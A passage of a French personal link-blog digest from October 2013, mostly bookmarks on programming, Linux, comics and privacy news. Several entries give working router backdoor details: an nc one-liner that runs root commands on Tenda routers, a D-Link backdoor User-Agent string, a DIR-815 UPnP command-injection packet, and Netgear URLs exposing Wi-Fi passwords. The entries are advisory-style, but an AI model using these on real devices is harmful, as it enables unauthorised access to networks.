Monthly Shaarli
October, 2013
Un bookmarklet pour ouvrir tous les sites désirés dans des onglets => féniasse niveau 99.
Une police gratuite.
Rooter un téléphone Android sans utiliser d’ordinateur.
via Korben
Tien, je n'avais pas vu passer ce "badbios", mais s'il s'avère réel, c'en est fini pour nous !
C'est un virus (si on peut appelé ça comme ça) qui infecte le firmware des clefs USB, aucun fichier n'est modifié sur la clef. Comme d'hab, toutes les clefs USB seront à leur tour infectées. Et donc ce virus reflashe le BIOS, même une réinstallation officielle du BIOs n'y changera rien. Le pire dans tout ça, c'est comment il communique...
Ah ah excellent !
Pas mal cette lib, elle a l'air puissante : http://www.clips.ua.ac.be/pages/pattern-web
Et pour terminer avec l'optimisation du SSD.
Un tuto ultra-simple pour installer Flash player sous Debian et dérivées.
Outch, je je n'ai reconnu aucun langage !
Interview d'un des développeurs de TrueCrypt.
Version française : http://www.tiger-222.fr/?d=2013/10/26/21/33/57-truecrypt-entretien-avec-ennead
Cet article sous-entend que - contrairement aux rumeurs - les binaires de TrueCrypt correspondent bien aux sources : donc qu'il n'y a pas de backdoor.
Que la honte me foudroie ! 😒
Je n'avais pas fait gaffe que ce service de blocage utiisait Google. Le ringard, noooon !!!
En tout cas, merci Mitsu ^^
Une dispo avec plein d'explications sur le comportement du language C (et un peu de C++). Ça permet de mieux appréhender les bases, les vraies.
Yeah ! Nous sommes le 22 octobre 2013, et j'ai réçu mon premier avertissement !
Je me tâte à faire une demande pour savoir quelles œuvres ont été téléchargées...
Après vérif, ça ne semble pas être un fake. Ceci dit, il me semblait que ça n'était plus d'actualité ?!
En attendant, direction VPN pour tout le monde !
Bwwaaaa !! Je m'en doutais fortement, mais là c'est mort de chez mort, je n'y toucherai plus !
Avec la fibre, je me verrai bien vivre sur ce caillou =]
via http://www.framablog.org/index.php/post/2013/10/17/histoire-photo-wiki-loves-monuments
Chouette ces sculptures en pixelart.
via @orangedriveFR
Petit mémo :
Si l'option open_basedir n'est pas renseignée dans la conf, glob() renverra un tableau vide.
Sinon, si le dossier n'est pas autorisé, glob() renverra false.
C'est bon à savoir.
Et du coup, faire un count() sur une variable qui vaut false => elle renverra 1. Extrait de la doc :
Retourne le nombre d'éléments dans var. Si le paramètre var n'est ni un objet, ni un tableau, 1 sera retourné.
Rien de transcendant, pratique pour les débutants.
Celle de Varuna, le dieu de l'ordre cosmique, woa !!
viahttp://colibri-libre.org/liens/?DBy4qw
Je cite, vu que c'est bien dit :
Ça peut intéresser tous ceux qui aiment faire des autoblogs avec un serveur à la maison, un petit challenge : 3 jours pour sauvegarder tout IsoHunt. Faisable ?
Il y a un GitHub tout fait avec un super readme et juste un petit script à faire tourner chez soi.
C'est facile à mettre en place : https://github.com/joepie91/isohunt-grab
Édit : via https://perso.ens-lyon.fr/guillaume.aupy/shaarli/?AE4raQ
Converir un PNG en ICNS pour avoir une icône.
(ça sent bon le port de Pombo vers Mac OSX tout ça)
Avec 19 jours de retard... ;D
Bilou est un jeu de plateforme (homebrew) pour Nintendo DS.
Excellente publicité ! Ils se sont balades !
Ah ah, elle est excellente celle-là !
Peut-être encore plus facile que cette porte dérobée : http://www.tiger-222.fr/links/?GrEUOQ
Tout se passe au niveau de la forge du packet :
echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 IP_routeur 7329
Notez le "/bin/ls" dans le "echo", c'est la commande qui sera exécutée en root...
Ça concerne les routeurs Tenda W302R, Tenda W330R ou encore Medialink MWN-WAPR150N. Ils utilisent tous le mot magique "w302r_mfg". Doit bien y en avoir d'autres va...
Énorme :)
"Alain Delon version Hardware"
WolframAlpha a intégré les données sur les pokemons !
Les infos complètes sur Raichu : http://www.wolframalpha.com/input/?i=raichu
J'en connais un qui va être content :)
Ils abusent !!
Ah ? Une solution peut-être trouvée pour https://www.ecirtam.net/zerobin/?8e5ae656a287fd05#lwAdTC1ynUK6ERPqNGUJwElpyag3mSZELcqTlrNpL7E ?
La 7ème ! x]
Revue du code pour le RSS : meilleure gestion du cache et des filtres URL, simplification du code.
Petit comparatif pas en cache/en cache :
<!--Generated version in 0.017133951187134-->
<!--Cached version in 0.00013017654418945-->
La version en cache est délivrée plus rapidement d'un peu plus de 75% ! (75,9757879% pour être plus précis).
Une autre modif qui devrait en faire râler quelques-uns : j'ai limité la prise en compte des images.
Je m'explique : certaines images (assez peu nombreuses) ont un ratio largeur/hauteur soit minuscule, soit énorme (des images de 100x6000 pixels par exemple) ; et du coup l'affichage de la galerie plante complètement sur certaines pages. Leur ration l/h étant vraiment extrême comparé à la majorité des images, le code JS part en vrille et la page de la galerie n'est pas affichée/rendue comme il se doit.
Il s'agit, en l'occurrence, de 5 ou 6 images, que je récupère quand même, mais qui ne sont pas affichées.
S'il y a trop de critiques, je peux ajouter une option pour les afficher tout de même.
Encore quelques améliorations suite à la demande de tolim ;)
Petit test : http://shaarlimages.net/?do=rss&tag=humour&nb=10
Wow, un super article pour mieux appréhender les notions de programmation asynchrone, parallèle et concurrente. Nickel !
Que j'aime ce genre de dessins ^^
Il manque quelques lettres là !
Au passage, ce bouquin est à lire absolument.
Dans la même lignée, celui sur Steve Jobs est pas mal non plus pour découvrir la naissance d'Apple et des son compagnon de l'ombre : Stephen Gary Wozniak.
Encore un truc qui fera chier tout le monde, mais qui sera tout de même cassé... Des heures de travail, de l'argent investi et des pratiques pourries => que de temps perdu.
Une bibliothèque pour envoyer des courriels.
Une pure merveille quand mail() ne veut rien savoir ; et pratique pour ceux qui s'auto-hébergent (conflits SMTP, et tout et tout).
Le pouvoir des remerciements, ou pourquoi il est bon de remercier les contributeurs de votre projet. Si, si, c'est bon de voir son nom/pseudo dans la liste, et ça encourage à recommencer :)
via @sam_et_max
http://gloryowlcomix.blogspot.fr/
Des dessins pleins d'humour noir, he hé.
Utiliser les memoryview pour éviter des copies inutiles. En les utilisant, la mémoire est partagée entre deux objets, ce qui permet de piocher directement dedans plutôt que de faire de copie supplémentaire.
Ça date de 2011, je ne pensais pas que des commandes telles que ifconfig ou netstat puissent devenir obsolètes. Va falloir y jeter un œil attentivement.
Voici le message des développeurs, datant de 2009 : http://lists.debian.org/debian-devel/2009/03/msg00780.html
Je pense mettre à jour Pombo.
Quelques explications pour faire de meilleures affiches.
via @orangedriveFR
Un modèle clair et simple pour gérer ses projets.
Comme c'est un peu brouillon chez moi, je vais tenter de m'y conformer.
Un article qui parle de CoffeeScript (JavaScript) et de canvas HTML5.
Un bibliothèque python pour créer des interfaces graphique facilement et rapidement.
Je n'ai pas testé, mais voici le Hello World le plus simple du monde des GUI :
from kivy.app import App
from kivy.uix.button import Button
class TestApp(App):
def build(self):
return Button(text='Hello World')
TestApp().run()
Oh le bonheur ! Repartir sur de bonnes base, que ça fait du bien !
Je démarre, chrono en main, en 3 secondes (avec bureau XFCE4) ! Merci au SSD :)
Idem, Firefox me chiait dans les bottes, trop lent. En passant en sid, j'ai la version 24 (+ une installation toute neuve, sans tous les bookmarks, extensions, anciennes config, ...) et ça fuse.
/me heureux comme un gosse
Un ptit script fait maison pour les séries ou films à sous-titrer.
Il faut installer les paquets mkvmerge et recode (je ne sais plus si ça fait partie du système de base).
Dans un dossier, lancez mkv() (faites un alias, plus pratique), il créera des MKV s'il y a des AVI/MP4 avec des fichiers SRT.
Encore une belle merde : ce virus chiffre vos fichiers à l'aide d'une clef RSA 1024 bits et s'arrange pour bien pourrir les fichiers non chiffrés, histoire de ne pas pouvoir les récupérer à l'aide de Photorec ou d'autres softs du même genre. Autant dire que ça peut vraiment faire mal.
Waa, superbe horloge !
... l'année aujourd'hui sur vos Playstapommes et FruiXbox !
Merci ^^
– t’as téléchargé quoi pour ça ?
Je ne sais pas, je vais faire une demande par courrier, j'ai vraiment envie de savoir. De plus, soit-disant j'utilise uTorrent (ils doivent sûrement parler dde µTorrrent...), mais c'est faux ! Je vais voir pour faire une lettre bien comme il faut :)
– allez-vous, méchant pirate, continuer à tuer les artistes ?
Hm, voyez par vous-même : http://www.numerama.com/magazine/25417-le-piratage-n-a-pas-d-effet-negatif-selon-une-etude-financee-par-l-ue.html
J'ajouterai que si l'offre légale en valait la peine, j'en serai 1er client. En attendant, j'achète toujours des CD (pas de DVD, c'est vraiment du foutage de gueule) et vais régulièrement au cinéma, pauvre de moi !
Sinon, idées pour bien enfoncer le clou (à mettre dans le courrier) ?
C'est intéressant d'avoir des retours de développeurs talentueux.
Direct3D 9 date de 2001, sa dernière MàJ de 2004, et incorpore du code de Direct3D 5 (1997). Tu m'étonnes qu'ils galèrent, c'est une bonne chose de laisser Direct3D 9 de côté.
Place à de nouvelles optimisations !
Pas encore vu, mais ça peut-être utile.
Première tentative de vin fait maison, il nous fallait des étiquettes. Ce site permet d'en personnaliser et de les imprimer, gratuitement.
Une visionneuse de fichiers .rst (ReStructuredText).
GitHub permet l'écriture des README.rst.
Je viens aussi d'apprendre comment sont faites les chaînes !
Ça se laisse regarder en boucle.
Ignorer les chagements de permissions sur les fichiers :
git config core.filemode false
Tutos et astuces pour InkScape.
Une série envoutante assez trash, avec un casting fort sympathique (notamment Mads Mikkelsen, ça lui va comme un gant). Ça faisait un moment que je n'avais pas aimé une série comme ça. D'aileurs toute la famille l'a beaucoup aimée aussi.
Je la conseille vivement (en VOSTFR) !
"""
La relation étrange entre le célèbre psychiatre Hannibal Lecter et l'un de ses patients, un jeune profiler du FBI nommé Will Graham, torturé par sa fascination dévorante pour les serial killers...
"""
Pff, c'est tendu... Pour le fun :
!/usr/bin/env perl
use Data::Dumper qw(Dumper);
my $FROM_JSON = qr{
(?&VALUE) (?{ $_ = $^R->[1] })
(?(DEFINE)
(?<OBJECT>
(?{ [$^R, {}] })
{
(?: (?&KV) # [[$^R, {}], $k, $v]
(?{ # warn Dumper { obj1 => $^R };
[$^R->[0][0], {$^R->[1] => $^R->[2]}] })
(?: , (?&KV) # [[$^R, {...}], $k, $v]
(?{ # warn Dumper { obj2 => $^R };
[$^R->[0][0], {%{$^R->[0][1]}, $^R->[1] => $^R->[2]}] })
)*
)?
}
)
(?<KV>
(?&STRING) # [$^R, "string"]
: (?&VALUE) # [[$^R, "string"], $value]
(?{ # warn Dumper { kv => $^R };
[$^R->[0][0], $^R->[0][1], $^R->[1]] })
)
(?<ARRAY>
(?{ [$^R, []] })
[
(?: (?&VALUE) (?{ [$^R->[0][0], [$^R->[1]]] })
(?: , (?&VALUE) (?{ # warn Dumper { atwo => $^R };
[$^R->[0][0], [@{$^R->[0][1]}, $^R->[1]]] })
)*
)?
]
)
| (?<VALUE> \s* ( (?&STRING) |
(?&NUMBER) |
|---|
(?&OBJECT)
|
(?&ARRAY)
|
true (?{ [$^R, 1] })
| false (?{ [$^R, 0] }) |
|---|
null (?{ [$^R, undef] })
)
\s*
)
(?<STRING>
(
"
(?:
[^\"]+
|
\ ["\/bfnrt]
|
\ u [0-9a-fA-f]{4}
)*
"
)
(?{ [$^R, eval $^N] })
)
(?<NUMBER>
(
-?
(?: 0 | [1-9]\d* )
(?: . \d+ )?
(?: [eE] [-+]? \d+ )?
)
(?{ [$^R, eval $^N] })
)
) }xms;
sub fromjson {
local $ = shift;
local $^R;
eval { m{\A$FROMJSON\z}; } and return $;
die $@ if $@;
return 'no match';
}
while (<>) {
chomp;
print Dumper fromjson($);
}
Plein de bouquins ur la programmation.
via @sam_et_max
Outch, suffirait de modifier l'User-Agent en "xmlset_roodkcableoj28840ybtide" pour avoir un accès total au routeur. Merci Joel ;)
Routeurs :
D-Link DIR-100
D-Link DIR-120
D-Link DI-524UP
D-Link DI-604S
D-Link DI-604UP
D-Link DI-604+
D-Link DI-624
D-Link TM-G5240
Planex BRL-04R
Planex BRL-04UR
Planex BRL-04CW
...
Oh que c'est bien, Dell a mis, en accès simple et rapide, les pilotes de ses machines. Si toutes les marques pouvaient faire la même chose !
via http://lehollandaisvolant.net/index.php?mode=links&id=20131011173042
Un dessinateur qui a du talent.
Tout du libre ! Pas testé, mais je garde sous le coude.
Pourquoi les registres sont plus efficaces que la RAM.
Plus d'infos sur les régistres : https://fr.wikipedia.org/wiki/Registre_de_processeur
Arf, là ça devient tendu pour l'Histoire !
Ôh la la...
Aller, tout le monde signe la pétition !
via @sam_et_max
Merci !
De mon côté, je m'active pour que l'utilisation soit plus facile. Il y aura un fichier .php qui génèrera les infos du .json.
Et je pense qu'on peut supprimer des infos comme la date, nsfw, le guid... Pour une galerie toute simple, ce sont des infos inutiles, non ? Et ça simplifierait le fichier js du coup (suppression de pas mal d'option et du filtrage).
Un an après les faits, retour sur cette catastrophe qui a boulversé le monde du stockage.
Lien : http://horyax.fr/inondations-et-disque-dur.pdf
C'est bien dit, bien expliqué => à faire tourner partout, partout, partout. Dans les classes en priorité.
via http://lehollandaisvolant.net/index.php?mode=links&id=20131002124230
" Ouch... l'ancien responsable européen de la protection de la vie privée chez Microsoft Europe déclare qu'il ne fait plus confiance à Microsoft. Et qu'il faut désormais se tourner vers l'opensource. "
Ah ouai, quand même !
Ça fait une petite base mine de rien.
Voici le routeur DLink DIR-815 qui se fait rooter, un packet :
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:ICI LA COMMANDE
MX:2
MAN:"ssdp:discover"
à envoyer en multicast sur 239.255.255.250, pour le port UDP 1900.
Il y a un script python qui permet de lancer la commande désirée : https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection
Que c'est mouvementé en ce mois d'octobre !
Voici une nouvelle porte dérobée découverte dans les routeurs NETGEAR WNDR3700v4, WNDR3800 et WNDR4700.
C'est assez tendu puisqu'en visitant la page suivante, même en redémarrant le routeur, ça reste open bar :
http://<router address>/BRS_02_genieHelp.html
Et pour avoir les mots de passe Wi-Fi en clair... :
http://<router address>/BRS_success.html
Bref, ça pue, ça pue, ça pue !
Mais que font les développeurs, bordel de bordel de merde ?!
Édit : plus d'infos, histoire de passer des commandes shell : http://shadow-file.blogspot.fr/2013/10/netgear-root-compromise-via-command.html
(copie du script) http://www.tiger-222.fr/paste/?3ec20a62650c94a5#m8h84Z277Ajt/NqYpt1ZeEbGiHwOvzvSGv78v39pjCw=
Édit 2 : apparemment, pas mal de NetGear ont un mot de passe root codé en dur :
https://netgear-telnetenable.googlecode.com/svn/trunk/telnetenable.py
(copie) http://www.tiger-222.fr/paste/?7b254ecdd7f4887c#O9XModbrfDcCki7HgEX9gpZFy8WuM6YRA8/iPw7SWB0=
Un petit guide pour optimiser les performances de son SSD.
Oh oui, un immmense +1000 !
Sauf qu'il faut être développeur pour le savoir, sinon ça vous passe au-dessus de la tête.
*.tiger-222.fr seront HS pendant quelques heures, le temps pour moi de faire une réinstallation toute fraîche.
Faut s'accrocher !
Quelle voix : Marvin Gaye a capella !
À essayer :)
via @sam_et_max
J'ai ajouté un pseudo code pour montrer ce qu'il se passe au coeur du système afin d'avoir une meilleure compréhension du bouzin, et aussi pour appuyer mes dires (sans preuves, ça faisait "shaarlo" ☻).
Les fonctions C floor(), ceil(), round() et fmod() traduites/optimisées en instructions SSE3, histoire que ça dépote.
Faire danser Bender avec un peu de CSS et JS !
Pareil, il est monstrueux ! ^^
Wow, il gère le gaillard !
Il reproduit le flat design du nouvel OS mobile d'Apple à l'aide de... Word !
Si ça ce n'est pas voulu... !
Pour 30$, tout le monde peux désormais cracker le chiffrement GSM.
Ha ah, faut dresser un chien qui sache ouvrir le frigo !
via @sam_et_max
Expliqué simplement et avec humour.
Je m'incline bien trop souvent, je trouve... !
Comment ArchiveTeam (http://www.tiger-222.fr/links/?itDQ8g) a pu faire une sauvegarde de tous les blogs de Posterous. C'est sympa, vu de l'intérieur.
Piqûre de rappel sur les tag (étiquettes) avec git.
Pour étiqueter après coup :
git tag -a v1.2 -m 'version 1.2' 9fceb02
Pousser les étiquettes :
git push origin --tags
Wow ! Celle de l'ours blanc sous l'eau fait flipper.
via https://perso.ens-lyon.fr/guillaume.aupy/shaarli/?o2SNxw
Génial, ça rend bien !
Un chouilla poétique, une thématique que j'adore : King - de Lauren Aquilina
En fouinant via https://ex0artefact.eu/ahpuch/?EjEREQ
Wow wow wow !
Un dépôt git qui contient un packet corrompu, en l'occurence une archive ZIP.
Ce mec explique comment il a fait pour la récupérer. C'est propre.
The History of Packets. L'Histoire d'Internet, ou du transport de packets depuis ses débuts, il y a 40 ans...
Une question m'a été posée : combien de machines ont été retrouvées grâce à Pombo ?
Comme je n'ai pas eu de retour à ce popos, qu'en est-il de votre côté ?
PS : la prochaine version va faire mal ;)
Génial ! Il n'y a plus qu'à mettre en place plein de TotalRespawn, et faire tourner !
Raaahh ! Non ! Non et NON !
Le fameux service de partage de photos "sécurisé" où elles sont supprimées rapidement a, en fait, fais des copies de ces photos et avoue avoir coopérer avec le gouvernement US...
Le coup de l'heure automatique est pratique.
Jamais de 3G, GPS, Bluetooth ou Wi-Fi automatique et luminosité basse la plupart du temps.
C'est du propre ! Faut voir les vidéos de démonstration, ça va être super pratique pour certains domaines (imagerie médicale), mais aussi dangereux pour ce qui est surveillance et vie privée (vlà le détecteur de mensonges...).
Mémo Nmap.
Lien vers le PDF : http://www.infographiste-prod.ch/la_hyene/wp-content/uploads/2013/10/NmapCheatSheetv1.0.pdf
Oh ? JSON serait donc devenu un standard officiel ? C'est une bonne chose !
À quand Markdown ? :)
Explication éclairante sur la prédiction des branches. "Brilliant!"
via @sam_et_max
Oh mazette ! Une belle planche qui dénonce comme il faut !
Magnifique ! Et très touchant.
Si seulement ça pouvait être le quart du tiers par chez nous... Le partage ne fait presque plus parti de la vie sociale, mais c'est à chacun de faire un effort, aussi minime soit-il.
Faut-il encore rappeler que sans partage, l'Homme n'est rien et ne serait jamais arrivé jusque là ? La connaissance et le savoir ne sont pas apparus comme par magie dans nos ptites têtes !
Lien direct : http://tv.gentside.com/15976.mp4?st=HzBpYVVV4QIU2tDdVOFYww&e=1380895648
Les dix commandements... d'un lendemain de cuite pour le grand seigneur lol
via @sam_et_max
Wow génial ! Plein de configurations pour des machines de tout usage.
Dans la même lignée : http://www.tiger-222.fr/links/?R6UUFw
Hadès créa la tache, Zeus le nettoyant.
C'est abusé !
Une merde sans nom cette huile, et à tous les niveaux (alimentaire et production).
😱
Tout est dans le titre... Prenez soin de vos amis (ou restez en contact, au moins).